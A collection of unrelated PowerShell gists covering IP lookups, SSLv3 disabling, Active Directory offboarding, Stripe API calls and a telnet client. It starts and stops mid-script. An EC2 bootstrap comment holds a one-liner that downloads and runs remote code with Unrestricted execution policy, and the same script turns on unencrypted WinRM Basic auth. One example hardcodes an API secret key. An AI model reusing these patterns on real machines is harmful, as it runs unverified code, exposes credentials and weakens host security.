"" ) { LoadKnownIPs($knownIPFile) } function LookupIP($ip) { $result = nslookup $ip 2> $null | select-string -pattern "Name:" if ( ! $result ) { $result = "" } $result = $result.ToString() if ($result.StartsWith("Name:")) { $result = $result.Split() $result = $result[$result.Count -1 ] } else { $result = "NOT FOUND" } $knownMatch = "" if ($knownIPs.ContainsKey($ip)) { $knownMatch = $knownIPs[$ip] } if ($verbose) { Write-Output $ip Write-Output $result Write-Output $knownMatch } else { Write-Output "$ip `t $result `t $knownMatch" } } if ( $inputFile -ne "") { $reader = [System.IO.File]::OpenText($inputFile) $line = $reader.ReadLine() while( $line) { LookupIP $line.Trim() $line = $reader.ReadLine() } $reader.Close() } else { LookupIP $inputIP }
PowerShellCorpus/GithubGist/z0c_65ec6f92ebb3687b2633_raw_e115e9e2c659c150bcec7b527ca8c256c55808f4_SslV3-Disable.ps1
z0c_65ec6f92ebb3687b2633_raw_e115e9e2c659c150bcec7b527ca8c256c55808f4_SslV3-Disable.ps1
<# .SYNOPSIS Disables SSL v3 protocol on IIS for POODLE vulnerability .LINK https://www.digicert.com/ssl-support/iis-disabling-ssl-v3.htm #> function Create-SubKey { param( [parameter(position=0)]$path, [parameter(position=1)]$key, [parameter(position=2)]$subKey ) if (!(Test-Path "$path\$key\$subKey")) { (Get-Item $path).OpenSubKey($key, $true).CreateSubKey($subKey) | Out-Null Write-Output "$path\$key\$subKey" } } function Update-RegistryProperty { param( [parameter(position=0)]$path, [parameter(position=1)]$key, [parameter(position=2)]$value, [parameter(position=3)]$type ) $property = Get-Item $path | Get-ItemProperty | Select-Object -ExpandProperty $key -ea:silentlyContinue if ($property -eq $null) { New-ItemProperty -path $path -name $key -value $value -PropertyType $type | Out-Null Write-Output "Created property $path[$key] = $value" } else { if ($property -ne $value) { Set-ItemProperty -path $path -name $key -value $value | Out-Null Write-Output "Updated property $path[$key] = $value" } } } $ErrorActionPreference = "Stop" $schannelPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" Create-SubKey "$schannelPath" "Protocols" "SSL 3.0" "Client", "Server" | % { Create-SubKey "$schannelPath\Protocols" "SSL 3.0" $_ } Update-RegistryProperty "$schannelPath\Protocols\SSL 3.0\Client" "DisabledByDefault" "1" "Dword" Update-RegistryProperty "$schannelPath\Protocols\SSL 3.0\Server" "Enabled" "0" "Dword" Write-Output 'SSL 3.0 disabled'
PowerShellCorpus/GithubGist/ctrlbold_5b913da87049aaa542a2_raw_8bb20234e9f7a79732c53cc2d00a9807b9bc7a7c_Get-LocateLite.ps1
ctrlbold_5b913da87049aaa542a2_raw_8bb20234e9f7a79732c53cc2d00a9807b9bc7a7c_Get-LocateLite.ps1
$GetDll = $true if ($PSScriptRoot) { $location = $PSScriptRoot } else { $location = (Get-Location).Path } $dll = "$location\System.Data.SQLite.dll" if ($GetDll) { $wc = New-Object System.Net.WebClient $url = "https://netnerds.net/System.Data.SQLite.dll" $wc.DownloadFile($url,$dll) } if (!(Test-Path $dll)) { throw "System.Data.SQLite.dll not found. You can isntall SQL Lite, or automatically download the DLL using -GetDll" } [void][Reflection.Assembly]::LoadFile($dll) $database = "$location\locate.sqlite" $connString = "Data Source=$database" if (!(Test-Path $database)) { # Create database [void][System.Data.SQLite.SQLiteConnection]::CreateFile($database); $connection = New-Object System.Data.SQLite.SQLiteConnection($connString) $connection.Open() # Create table, check if primary key is automatically unique $table = "CREATE TABLE [Files] ([Name] nvarchar(450) PRIMARY KEY)" $command = $connection.CreateCommand() $command.CommandText = $table $null = $command.ExecuteNonQuery() $command.Dispose() $connection.Close() $connection.Dispose() } ######################################################################################### $connection = New-Object System.Data.SQLite.SQLiteConnection($connString) $connection.Open() $command = $connection.CreateCommand() # delete table $command.CommandText = "DROP TABLE [Files]" [void]$command.ExecuteNonQuery() $command.CommandText = "CREATE TABLE [Files] ([Name] nvarchar(450) PRIMARY KEY)" [void]$command.ExecuteNonQuery() $transaction = $connection.BeginTransaction() Function Get-Filenames ($path) { Set-Variable -ErrorAction SilentlyContinue -Name files # Get Directories try { $files = [IO.Directory]::GetFiles($path) [System.IO.DirectoryInfo]$directoryInfo = New-Object IO.DirectoryInfo($path) $folders = $directoryInfo.GetDirectories() | Where-Object {$_.Name -ne "`$Recycle.Bin" -and $folder -ne "System Volume Information" } } catch { $folders = @()} foreach($filename in $files) { $filename = $filename.replace('\\','\') $filename = $filename.replace("'","''") $command.CommandText = "insert into files values ('$filename')" [void]$command.ExecuteNonQuery() } # Create list of non-indexed directories $exculde = @($env:APPDATA) $exclude += $env:LOCALAPPDATA $exclude += $env:ProgramData $exclude += $env:TMP $exclude += $env:TEMP try { foreach($folder in $folders) { if ($exclude -notcontains "$path$folder") { Get-Filenames("$path\$folder")} } } catch {} Remove-Variable -ErrorAction SilentlyContinue -Name files } Measure-command { Get-Filenames("C:\") } $transaction.Commit() $command.Dispose() $connection.Close() $connection.Dispose() <# ################################################## $connection = New-Object System.Data.SQLite.SQLiteConnection($connString) $connection.Open() $command = $connection.CreateCommand() Measure-Command { $file = "SqlServerCe" $file = $file.Replace("`*","`%") $sql = "select name from files where name like '%$file%'" $command.CommandText = $sql $datatable = New-Object System.Data.DataTable $datatable.load($command.ExecuteReader()) } $command.Dispose() $connection.Close() $connection.Dispose() $datatable.name #>
PowerShellCorpus/GithubGist/Retro2707_7258159_raw_dc408af6f9767d077295b1ae2e2da4c2dc708766_pow.ps1
Retro2707_7258159_raw_dc408af6f9767d077295b1ae2e2da4c2dc708766_pow.ps1
#1. one way to do it. 2,3,4,10 | ForEach { $_ * 10} #2. other way $numbers = 2,3,4,10 ForEach ($Number in $Numbers) { $Number * 10 | Out-File text.txt -append }
PowerShellCorpus/GithubGist/guitarrapc_0ea326ce89b7fd18be60_raw_1704ecff14cc384e81c27c79603ee82794302c08_RestartWinmgmt.ps1
guitarrapc_0ea326ce89b7fd18be60_raw_1704ecff14cc384e81c27c79603ee82794302c08_RestartWinmgmt.ps1
Restart-Service Winmgmt -Force
PowerShellCorpus/GithubGist/theagreeablecow_2791536_raw_73625d7d323e189814068dd81fbb88b6afed3c22_DepartingUser.ps1
theagreeablecow_2791536_raw_73625d7d323e189814068dd81fbb88b6afed3c22_DepartingUser.ps1
# This script manages the process for a departing user, using data retrived from a CSV file # Requires the Active Directory module for Windows Powershell and appropriate credentials # CSV file with corresponding header and user(s) info: # UserName,DisableWindows,ArchiveFiles,DisableVoice,ArchiveMailbox,MailboxAccessTo,DisableEmailAddress,AutoReplyContact,ReminderInDays #LOAD POWERSHELL SESSIONS #------------------------ $exchangeserver = "exchange1.MyDomain.com.au" $Lyncserver = "lync1.MyDomain.com.au" $DC = "dc1.MyDomain.com.au" $usercredential= get-credential -credential MyDomain\admin cls write-host -foregroundcolor Green "Loading modules for AD, Exchange and Lync..." $exchangeSession = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$exchangeserver/PowerShell/ -Authentication Kerberos -Credential $UserCredential Import-PsSession $exchangesession $lyncsession = new-pssession -connectionuri https://$Lyncserver/ocspowershell -credential $usercredential Import-PSSession $lyncsession import-module ActiveDirectory #UPDATE USER DATA ON CSV FILE #---------------------------- $InputPath = "\\MyDomain.com.au\Scripts\Data\" $InputFile = $InputPath + "DepartingUserInfo.csv" Invoke-Item $inputFile cls write-host -foregroundcolor Green "Update user details and save CSV file. Press any key to continue" $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") #DEFINE VARIABLES #---------------- $inputFile = Import-CSV $inputFile $MailArchiveDB = "ArchiveDB1" $ArchiveOU = "OU=zzz_ARCHIVE,DC=MyDomain,DC=com,DC=au" $HelpdeskEmail = "helpdesk@MyDomain.com.au" $ExtraEmail = "user1@MyDomain.com.au" $AdminEmail = "administrator@MyDomain.com.au" $ScriptUser = $env:username foreach($line in $inputFile) { #Retrieve details from CSV file $Username = $line.UserName # sAMAccountName $DisableWindows = $line.DisableWindows # yes or no $ArchiveFiles = $line.ArchiveFiles # yes or no $DisableVoice = $line.DisableVoice # yes or no $ArchiveMailbox = $line.ArchiveMailbox # yes or no $EmailManager = $line.MailboxAccessTo # sAMAccountName $DisableEmail = $line.DisableEmailAddress # yes or no $EmailReply = $line.AutoReplyContact # sAMAccountName $Reminder = $line.ReminderInDays # eg 30 $LogFile = $InputPath+"DisableLog_" +$username +".txt" #Validation if ($DisableEmail -eq "no" -And $EmailReply -eq "") {$EmailReply = read-host -prompt "Email is not being disabled. You must enter a valid username for AutoReply contact details"} if ($DisableEmail -eq "no" -And $Reminder -eq "") {$Reminder = read-host -prompt "Email is not being disabled. You must enter number of days for a reminder"} #Get User Details $UserDetails = Get-ADUser $username -Server $DC -properties Office,DisplayName,Mail,distinguishedName | select-object Office,DisplayName,Mail,distinguishedName $UserOffice = $UserDetails.Office $UserDisplayName = $UserDetails.DisplayName $UserEmail = $UserDetails.Mail $UserDN = $UserDetails.distinguishedName #Get Details of Person Managing Emails $ManagerDetails = Get-ADUser $EmailManager -Server $DC -properties DisplayName,Mail | select-object DisplayName,Mail $ManagerName = $ManagerDetails.DisplayName $ManagerEmail = $ManagerDetails.Mail #Get Details for Auto-Reply Message $EmailReplyDetails = Get-ADUser $EmailReply -Server $DC -properties DisplayName,OfficePhone,Mail | select-object DisplayName,OfficePhone,Mail $EmailReplyName = $EmailReplyDetails.DisplayName $EmailReplyPhone = $EmailReplyDetails.OfficePhone $EmailReplyEmail = $EmailReplyDetails.Mail #Get Script User's Details $ScriptUserDetails = Get-ADUser $ScriptUser -Server $DC -properties mail | select-object mail $ScriptUserEmail = $ScriptUserDetails.mail #Retrieve Site Specific Variables if ($UserOffice -eq "City1") { $ProfilePath = "\\server1\profiles\" +$username $ProfileArchive = "\\archive1\Users\Profiles\" $HomePath = "\\server1\home$\" +$username $HomeArchive = "\\archive1\Users\Home\" $Reception = "(+61) 3 1234 1234" } elseif ($UserOffice -eq "City2") { $ProfilePath = "\\server2\profiles\" +$username $ProfileArchive = "\\archive2\Users\Profiles\" $HomePath = "\\server2\home$\" +$username $HomeArchive = "\\archive2\Users\Home\" $Reception = "(+61) 3 1234 1234" } elseif ($UserOffice -eq "City3") { $ProfilePath = "\\server3\profiles\" +$username $ProfileArchive = "\\archive3\Users\Profiles\" $HomePath = "\\server3\home$\" +$username $HomeArchive = "\\archive3\Users\Home\" $Reception = "(+61) 3 1234 1234" } elseif ($UserOffice -eq "City4") { $ProfilePath = "\\server4\profiles\" +$username $ProfileArchive = "\\archive4\Users\Profiles\" $HomePath = "\\server4\home$\" +$username $HomeArchive = "\\archive4\Users\Home\" $Reception = "(+61) 3 1234 1234" } else { write-host -foregroundcolor Red "Error: Office '" $UserOffice "' not recognised." exit } #Enable Logging Start-Transcript -path $LogFile -append $now = (Get-Date) write-host -foregroundcolor Green "Starting disable procedure for" $UserDisplayName $now #Archive Files #------------- # Ensure you have full access permission to all directories $ArchiveFiles = $ArchiveFiles.ToLower() if ($ArchiveFiles -eq "yes") { write-host -foregroundcolor Green "Archiving Profile and Home Directories" #Archive Profile Directory $win7Profile = $ProfilePath +".V2" IF (TEST-PATH $win7Profile) { Copy-Item -Recurse $win7Profile $ProfileArchive -force Remove-Item -Recurse $win7Profile } IF (TEST-PATH $ProfilePath) { Copy-Item -Recurse $ProfilePath $ProfileArchive -force Remove-Item -Recurse $ProfilePath } #Archive Home Directory IF (TEST-PATH $HomePath) { Copy-Item -Recurse $HomePath $HomeArchive -force Remove-Item -Recurse $HomePath } } #Disable Enterprise Voice #------------------------ $DisableVoice = $DisableVoice.ToLower() if ($DisableVoice -eq "yes") { #Remove Unified Messaging from Exchange write-host -foregroundcolor Green "Removing unified messaging from Exchange" Get-Mailbox $username -DomainController $DC | Disable-UMMailbox -DomainController $DC -confirm:$false #Remove User from Lync write-host -foregroundcolor Green "Removing user from Lync" Disable-CsUser $username -DomainController $DC } # Update Mailbox Permissions #--------------------------- if (!($EmailManager -eq $NULL)) { write-host -foregroundcolor Green "Granting mailbox permissions to" $ManagerName Add-MailboxPermission -Identity $username -User $EmailManager -AccessRights 'FullAccess' #Send message to Email Manager advising changes. $MailSubject = "[AUTO] Mailbox Access Granted for " +$UserDisplayName $MailBody = "FYI: " +$UserDisplayName +"'s account has now been disabled. You have been granted full access to manage their mailbox. `r Please contact Helpdesk ("+$HelpdeskEmail+") if you need any assistance with access or to make any changes.`r Regards`r Admin Scripts" Send-MailMessage -To $ManagerEmail -From $HelpdeskEmail -Subject $MailSubject -SmtpServer $exchangeserver -body $MailBody #Optional: Send message to SOMEONE asking them to do SOMETHING $MailSubject = "[AUTO] Please do something regarding " +$UserDisplayName $MailBody = $UserDisplayName +" has left the company. Please do something. Any queestions please ask " +$ManagerName Send-MailMessage -To $DBAEmail -From $HelpdeskEmail -Subject $MailSubject -SmtpServer $exchangeserver -body $MailBody } #Update Auto Reply and set a Reminder or just Disable Email address now #---------------------------------------------------------------------- $DisableEmail = $DisableEmail.ToLower() if ($DisableEmail -eq "no") { #Add Auto Reply to mailbox (with contact details) write-host -foregroundcolor Green "Creating an AutoReply message with contact details for" $EmailReplyName if ($EmailReplyEmail -eq "") {$EmailReplyEmail = read-host -prompt "Please add an EMAIL ADDRESS for " +EmailReplyName} #if ($EmailReplyPhone -eq "") {$EmailReplyPhone = read-host -prompt "Please add a PHONE NUMBER for " +EmailReplyName} $Message = $UserDisplayName + " is no longer employed with MyCompany. Please refer all queries to " + $EmailReplyName + " at " + $EmailReplyEmail + " or by phone on " + $Reception +"." Set-MailboxAutoReplyConfiguration -AutoReplyState Enabled -Identity $Username -InternalMessage $Message -ExternalMessage $Message #Send message to AutoReply contact advsing changes $MailSubject = "[AUTO] AutoReply updated for " +$UserDisplayName $MailBody = "FYI: "+$UserDisplayName+"'s account has now been disabled. You have been nominated as a contact in their 'Out of Office' message, which reads as follows: `r "+$Message+" `r Please contact Helpdesk ("+$HelpdeskEmail+") if you need to make any changes.`r Regards`r Admin Scripts" Send-MailMessage -To $EmailReplyEmail -From $HelpdeskEmail -Subject $MailSubject -SmtpServer $exchangeserver -body $MailBody #Add Calendar Reminder (current user), to disable email in future write-host -foregroundcolor Green "Adding celendar reminder to disable email in" $Reminder "days" $outlook = New-Object -ComObject Outlook.Application $entry = $Outlook.Application.CreateItem(1) $Start = (Get-Date).AddDays($Reminder) $End = $start.AddMinutes(15) $Subject = "Disable email address for " +$UserDisplayName $Location = $UserOffice $Body = $UserDisplayName +" left the company " +$Reminder +" days ago. It is now time to disable the email address. Using Exchange, change the primary SMTP address to " +$UserEmail +".DISABLED and remove any additional addresses" $entry.Start = $Start $entry.End = $End $entry.Subject = $Subject $entry.Location = $Location $entry.Body = $Body $entry.Save() } else { #Rename Email address in Exchange (first.last@MyDomain.com.au.DISABLED) write-host -foregroundcolor Green "Disabling email address" Set-Mailbox -identity $username -EmailAddressPolicyEnabled $false $DisabledEmail = "SMTP:" +$UserEmail +".DISABLED" Set-Mailbox -identity $username -EmailAddresses $DisabledEmail } #Archive Mailbox #--------------- $ArchiveMailbox = $ArchiveMailbox.ToLower() if ($ArchiveMailbox -eq "yes") { #Remove from Address Book write-host -foregroundcolor Green "Removing user from Global Address Book" Set-Mailbox -identity $username -HiddenFromAddressListsEnabled $true #Move Mailbox to Archive Data Base write-host -foregroundcolor Green "Moving mailbox to archive database" New-MoveRequest -identity $username -TargetDatabase $MailArchiveDB } #Disable AD Accounts #------------------- $DisableWindows = $DisableWindows.ToLower() if ($DisableWindows -eq "yes") { write-host -foregroundcolor Green "Disabling user account and removing details from Active Directory" #Remove from Intranet # Sharepoint = auto?? #Move user object to Archive OU Move-ADObject -Identity $UserDN -TargetPath $ArchiveOU #Remove AD Deatails Set-ADUser $username -Server $DC -Clear Manager Set-ADUser $username -Server $DC -Clear TelephoneNumber Set-ADUser $username -Server $DC -Clear IpPhone Set-ADUser $username -Server $DC -Clear ProfilePath Set-ADUser $username -Server $DC -Replace @{description="**ACCOUNT DISABLED**"} #Remove from Groups $ds = new-object directoryServices.directorySearcher $ds.filter = "(&(objectCategory=person)(objectClass=user)(samAccountName="+$username+"))" $dn = $ds.findOne() $user = [ADSI]$dn.path foreach ($group in $user.memberof) { Remove-ADGroupMember -Identity $group -Members $username -Confirm:$false $RPTGroups = $RPTGroups +" " + $group } write-host $UserDisplayName "has been removed from the following groups:" $RPTGroups write-host "`r" #Reset User Password $prompt = "Please enter new password for " +$UserDisplayName $accountpassword = read-host -assecurestring -prompt $prompt Set-ADAccountPassword $username -Server $DC -Reset -NewPassword $accountpassword #Disable AD Account Disable-ADAccount $username -Server $DC } #Send Reports #------------- #Helpdesk/Admin - summarise change in email, plus include write-host -foregroundcolor Green "Disable procedure completed. Sending you a wrap up email with log file." Stop-Transcript #Email IT report $MailSubject = "[AUTO] Account disabled for " +$UserDisplayName $MailBody = "The user account has been disabled for " +$UserDisplayName+", on "+(get-date)+". See attached log for details. `r Please ensure to complete the following items: `r - Manual Step 1 `r - Manual Step 2 `r - Manual Step 3 `r Regards`r Admin Scripts" Send-MailMessage -To $ScriptUserEmail -cc $AdminEmail -From "admin.scripts@MyDomain.com.au" -Subject $MailSubject -SmtpServer $exchangeserver -body $MailBody -attachment $LogFile #Pause for review, then load next line write-host "`r" write-host -foregroundcolor Green "User disabled. Press any key to continue" $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") } exit
PowerShellCorpus/GithubGist/ShawInnes_8f2d2f8af69b162245dc_raw_3c79aef4255e2175cc954dff7ea0b4aeef1421df_TestSetup.ps1
ShawInnes_8f2d2f8af69b162245dc_raw_3c79aef4255e2175cc954dff7ea0b4aeef1421df_TestSetup.ps1
# Paste this into Package Manager Console of Visual Studio foreach ($thing in @("NUnit", "NUnit.Extensions", "NUnitTestAdapter", "Shouldly")) { Install-Package $thing }
PowerShellCorpus/GithubGist/vScripter_075fbbb0fc1cf5e9d482_raw_cfd8e2ed13b56d722b8a3ecf07f383babcff6513_Get-VMToolsB2VMapping.ps1
vScripter_075fbbb0fc1cf5e9d482_raw_cfd8e2ed13b56d722b8a3ecf07f383babcff6513_Get-VMToolsB2VMapping.ps1
<# A more complete function can be found in my PowerCLI 'prod' repo at: https://github.com/vMotioned/PowerCLI/blob/master/Get-VMToolsBuildToVersionMapping.ps1 #> Invoke-RestMethod -Method Get -Uri 'http://packages.vmware.com/tools/versions'
PowerShellCorpus/GithubGist/paully21_3486abdd9f9233bccc39_raw_2c1623520bb1271526939e1b673c6b013a7b1cc8_DownloadAllTechEdEurope2014Sessions.ps1
paully21_3486abdd9f9233bccc39_raw_2c1623520bb1271526939e1b673c6b013a7b1cc8_DownloadAllTechEdEurope2014Sessions.ps1
$feedUrl = "http://channel9.msdn.com/Events/TechEd/Europe/2014/RSS/mp4high" [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $rss = (new-object net.webclient) $a = ([xml]$rss.downloadstring($feedUrl)) $a.rss.channel.item | foreach{ $url = New-Object System.Uri($_.enclosure.url) $file = $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-") + "-" + $_.creator + ".mp4" if (!(test-path $file)) { $file $wc = (New-Object System.Net.WebClient) $wc.DownloadFile($url, $file) } }
PowerShellCorpus/GithubGist/codingoutloud_7033235_raw_9a53c8d41da789108fd9d687fd325555763c134c_basicauthwithtoken.ps1
codingoutloud_7033235_raw_9a53c8d41da789108fd9d687fd325555763c134c_basicauthwithtoken.ps1
## Example explorers hitting a web endpoint with Basic Auth, when you already have a token in hand $key = "sk_test_mkGsLqEW6SLnZa487HYfJVLf" $url = "https://api.stripe.com/v1/charges" # this will work, but the flow in Basic Auth will first ask you for a password to go with the # value passed in, which serves as the username. You hit enter because the password is null. # Then the response comes back... BUT - this also involved a round-trip to the server (which # returns a 401, but also a Response header indicating that is speaks Basic Auth: # Www-Authenticate: Basic realm="Stripe" # With this add'l info, we canretry, this time providing a Base64-encoded username as the # Basic Auth token in a Request header: # Authorization: Basic c2tfdGVzdF9ta0dzTHFFVzZTTG5aYTQ4N0hZZkpWTGY6 # $response = Invoke-WebRequest -Uri $url -Credential $key $response.Content $response.Headers # Alternatively, set up the Basic Auth header up front - if we have a priori knowledge $authVal = "Basic " + [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($key)) $response = Invoke-WebRequest -Uri $url -Headers @{"AUTHORIZATION"=$authVal} $response.Content # Or access .Content w/o using a separate variable if you like: ( Invoke-WebRequest -Uri $url -Headers @{"AUTHORIZATION"=$authVal} ).Content
PowerShellCorpus/GithubGist/annymsMthd_d08ba5e45067e05e45e8_raw_9b5a7d8d2b02bac23cced4fc09f7ee43dfd5e642_Bootstrap-EC2-Windows-CloudInit.ps1
annymsMthd_d08ba5e45067e05e45e8_raw_9b5a7d8d2b02bac23cced4fc09f7ee43dfd5e642_Bootstrap-EC2-Windows-CloudInit.ps1
# Windows AMIs don't have WinRM enabled by default -- this script will enable WinRM # AND install 7-zip, curl and .NET 4 if its missing. # Then use the EC2 tools to create a new AMI from the result, and you have a system # that will execute user-data as a PowerShell script after the instance fires up! # This has been tested on Windows 2008 SP2 64bits AMIs provided by Amazon # # Inject this as user-data of a Windows 2008 AMI, like this (edit the adminPassword to your needs): # # <powershell> # Set-ExecutionPolicy Unrestricted # icm $executioncontext.InvokeCommand.NewScriptBlock((New-Object Net.WebClient).DownloadString('https://gist.github.com/masterzen/6714787/raw')) -ArgumentList "adminPassword" # </powershell> # param( [Parameter(Mandatory=$true)] [string] $AdminPassword ) Start-Transcript -Path 'c:\bootstrap-transcript.txt' -Force Set-StrictMode -Version Latest Set-ExecutionPolicy Unrestricted $log = 'c:\Bootstrap.txt' while (($AdminPassword -eq $null) -or ($AdminPassword -eq '')) { $AdminPassword = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR((Read-Host "Enter a non-null / non-empty Administrator password" -AsSecureString))) } # move to home, PS is incredibly complex :) cd $Env:USERPROFILE Set-Location -Path $Env:USERPROFILE [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath #change admin password net user Administrator $AdminPassword Add-Content $log -value "Changed Administrator password" $client = new-object System.Net.WebClient #check winrm id, if it's not valid and LocalAccountTokenFilterPolicy isn't established, do it $id = &winrm id if (($id -eq $null) -and (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -name LocalAccountTokenFilterPolicy -ErrorAction SilentlyContinue) -eq $null) { New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -name LocalAccountTokenFilterPolicy -value 1 -propertyType dword Add-Content $log -value "Added LocalAccountTokenFilterPolicy since winrm id could not be executed" } &winrm quickconfig `-q &winrm set winrm/config/winrs '@{MaxMemoryPerShellMB="1000"}' &winrm set winrm/config '@{MaxTimeoutms="1800000"}' &winrm set winrm/config/client/auth '@{Basic="true"}' &winrm set winrm/config/service/auth '@{Basic="true"}' &winrm set winrm/config/service '@{AllowUnencrypted="true"}' Add-Content $log -value "Ran quickconfig for winrm" &netsh advfirewall firewall add rule name="WinRM" dir=in action=allow protocol=TCP localport=5985 profile=public Add-Content $log -value "Ran firewall config to allow incoming winrm" Stop-Transcript
PowerShellCorpus/GithubGist/hail2u_101490_raw_f55a9da07946032adfb56accd3ce4d193c57e454_profile.ps1
hail2u_101490_raw_f55a9da07946032adfb56accd3ce4d193c57e454_profile.ps1
# 現在のユーザー名とホスト名をタイトルに $global:currentuser = [System.Security.Principal.WindowsIdentity]::GetCurrent() $user_and_host = ($currentuser.name -replace "(.*?)\\(.*?)$", "`$2@`$1") $Host.UI.RawUI.WindowTitle = $user_and_host + " - Windows PowerShell" # プロンプトのカスタマイズ function prompt { write-host "" # ディレクトリの表示 (バックスラッシュをスラッシュに変換) $pwd = $(get-location) -replace "\\", "/" write-host $pwd -nonewline -foregroundcolor yellow write-host " " -nonewline # Gitリポジトリがあった場合 if (Test-Path .git) { $branch = $(get_git_branch_name) # ブランチ名の表示を右寄せする $oldposition = $host.ui.rawui.CursorPosition $Endline = $oldposition # 一行の行数からブラケットとブランチ名の長さを引く $Endline.X = 120 - 2 - $branch.Length $host.ui.rawui.CursorPosition = $Endline if ($(get_git_status) -eq 1) { write-host ("[" + $branch + "]") -nonewline -foregroundcolor white -backgroundcolor red } else { write-host ("[" + $branch + "]") -nonewline -foregroundcolor red } $host.ui.rawui.CursorPosition = $oldposition } write-host "" return "$ " } # Git: ブランチ名を取得 function get_git_branch_name () { $name = "" git branch | foreach { if ($_ -match "^\*(.*)"){ $name += ($matches[1] -replace "^ ", "") } } return $name } # Git: 更新があるかどうかを取得 function get_git_status () { $status = 1 git st | foreach { if ($_ -match "^nothing to commit \(") { $status = 0 } } return $status }
PowerShellCorpus/GithubGist/VertigoRay_6091801_raw_c78a24c39108f240ec27aa704f9b94eeedcb6e34_gistfile1.ps1
VertigoRay_6091801_raw_c78a24c39108f240ec27aa704f9b94eeedcb6e34_gistfile1.ps1
[string] $RootOU = 'OU=test,DC=domain,DC=com' [string] $Path = 'OU=foo' try { if (!([adsi]::Exists("LDAP://$Path"))) { Throw("Supplied Path does not exist:`n$Path") } else { Write-Debug "Path Exists (1): $Path" } } catch { # If invalid format, error is thrown. Write-Debug "Supplied Path is invalid.`n$_" # It's probably the abbreviated version, so let's tack on the Root OU and confirm exists. Write-Debug 'Placing Path in Root OU and re-verifying ...' $Path = "$Path,$RootOU" if (!([adsi]::Exists("LDAP://$Path"))) { Throw("Supplied Path does not exist, nor does our attempt to place it in the Root OU:`n$Path") } else { Write-Debug "Path Exists (2): $Path" } }
PowerShellCorpus/GithubGist/grantcarthew_6985142_raw_11a7f589e9e6c4b47882d292ad88de69d7f15717_Connect-Telnet.ps1
grantcarthew_6985142_raw_11a7f589e9e6c4b47882d292ad88de69d7f15717_Connect-Telnet.ps1
<# .SYNOPSIS A full graceful telnet client using PowerShell and the .NET Framework. .DESCRIPTION This script was made with a view of using it to have full control over the text stream for automating Cisco router and switch configurations. .PARAMETER TelnetHost The address of the server or router hosting the telnet service. .PARAMETER Port The TCP port number of the Telnet service running on the Telnet host. #> param ( [parameter(Mandatory)] [String] $TelnetHost, [Int] $Port = 23 ) # Initialize variables [System.Text.ASCIIEncoding]$ASCIIEncoding = [System.Text.Encoding]::ASCII [System.Net.Sockets.Socket]$Socket = $null # Checking host address and port. if ($TelnetHost -match ":") { $hostBytes = $TelnetHost.Split(':') $TelnetHost = $hostBytes[0] $Port = $hostBytes[1] } if ([String]::IsNullOrEmpty($TelnetHost)) { Write-Host -Object "Error: Invalid host address (null or empty)." -ForegroundColor Red return } # Setup and connect the TCP Socket. $Socket = New-Object -TypeName System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $Socket.NoDelay = $true try { $Socket.Connect($TelnetHost, $Port) } catch { "Unable to connect to host {0}:{1}" -f $TelnetHost,$Port return } # This state object is used to pass the connected Socket and the # PowerShell parent Host reference to the child PowerShell object. $State = [PSCustomObject]@{"Socket"=$Socket;"Host"=$Host;"Exception"=$null} # This script block is used as the receive code for the Socket # from within the child PowerShell object. $Script = { param($state) # This encoding object is used to decode the return string. [System.Text.ASCIIEncoding]$ASCIIEncoding = [System.Text.Encoding]::ASCII # TELNET commands [Byte]$GA = 249 # Go Ahead [Byte]$WILL = 251 # Desire to begin [Byte]$WONT = 252 # Refusal to perform [Byte]$DO = 253 # Request that the other party perform [Byte]$DONT = 254 # Demand that the other party stop performing [Byte]$IAC = 255 # Interpret as Command # TELNET options [Byte]$ECHO = 1 # Used to check the echo mode [Byte]$SUPP = 3 # Suppress go ahead # Used to hold the number of bytes returned from the network stream. [Int]$bytes = 0 # Buffer to hold the returned Bytes. [Byte[]]$buffer = New-Object -TypeName Byte[]($state.Socket.ReceiveBufferSize) # This is the main receive loop. while ($state.Socket.Connected) { try { # The following statement will block the thread until data is received. $bytes = $state.Socket.Receive($buffer) } catch { # This exception reference is used to pass the error back to the # parent PowerShell process. $state.Exception = $Error[0] break } if ($bytes -gt 0) { $index = 0 $responseLen = 0 # The index is used to move through the buffer to analyze the received data # looking for Telnet commands and options. while ($index -lt $bytes) { if ($buffer[$index] -eq $IAC) { try { switch ($buffer[$index + 1]) { # If two IACs are together they represent one data byte 255 $IAC { $buffer[$responseLen++] = $buffer[$index] $index += 2 break } # Ignore the Go-Ahead command $GA { $index += 2 break } # Respond WONT to all DOs and DONTs {($_ -eq $DO) -or ($_ -eq $DONT)} { $buffer[$index + 1] = $WONT $state.Socket.Send($buffer, $index, 3, [System.Net.Sockets.SocketFlags]::None) | Out-Null $index += 3 break } # Respond DONT to all WONTs $WONT { $buffer[$index + 1] = $DONT $state.Socket.Send($buffer, $index, 3, [System.Net.Sockets.SocketFlags]::None) | Out-Null $index += 3 break } # Respond DO to WILL ECHO and WILL SUPPRESS GO-AHEAD # Respond DONT to all other WILLs $WILL { [Byte]$action = $DONT if ($buffer[$index + 2] -eq $ECHO) { $action = $DO } elseif ($buffer[$index + 2] -eq $SUPP) { $action = $DO } $buffer[$index + 1] = $action $state.Socket.Send($buffer, $index, 3, [System.Net.Sockets.SocketFlags]::None) | Out-Null $index += 3; break; } } } catch { # If there aren't enough bytes to form a command, terminate the loop. $index = $bytes } } else { if ($buffer[$index] -ne 0) { $buffer[$responseLen++] = $buffer[$index] } $index++ } } # Displays the response with no command codes on the parent PowerShell object. $returnString = $ASCIIEncoding.GetString($buffer, 0, $responseLen) $state.Host.UI.Write($returnString) } } } # End of the child PowerShell script definition. # Create a child PowerShell object to run the background Socket receive method. $PS = [PowerShell]::Create() $PS.AddScript($Script).AddArgument($State) | 